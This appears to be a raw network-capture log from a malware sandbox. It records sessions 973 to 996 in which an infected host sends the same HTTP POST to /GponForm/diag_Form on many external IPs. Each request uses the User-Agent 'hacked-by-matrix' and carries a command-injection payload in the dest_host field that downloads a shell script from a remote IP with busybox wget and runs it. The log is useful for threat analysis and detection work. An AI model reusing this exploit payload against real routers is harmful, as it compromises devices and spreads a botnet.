Mar 21, 2024 05:18:33.904908895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.13	46460	94.200.59.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904938936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.13	34622	5.130.144.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.904983044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.13	57914	109.21.153.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905011892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.13	44296	79.0.173.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905069113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.13	58208	37.130.8.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905102968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.13	52594	42.79.53.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905129910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.13	55934	118.238.134.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905232906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.13	50654	94.67.61.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905236006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.13	55996	118.100.8.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905312061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.13	54560	37.188.106.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905344963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.13	42266	94.121.206.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905401945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.13	60634	5.76.28.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905473948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.13	50932	118.40.71.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905529976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.13	43122	37.148.59.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905572891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.13	45376	2.152.242.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905579090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.13	50710	178.142.40.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905677080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.13	55524	178.184.172.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905688047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.13	36144	178.207.114.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905685902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.13	48048	94.118.211.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905782938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.13	48144	212.99.115.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905828953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.13	57958	118.56.232.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905853987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.13	33420	2.47.100.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905865908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.13	51254	109.149.249.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.905929089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.13	55590	2.45.52.226	443

Timestamp	Bytes transferred	Direction	Data
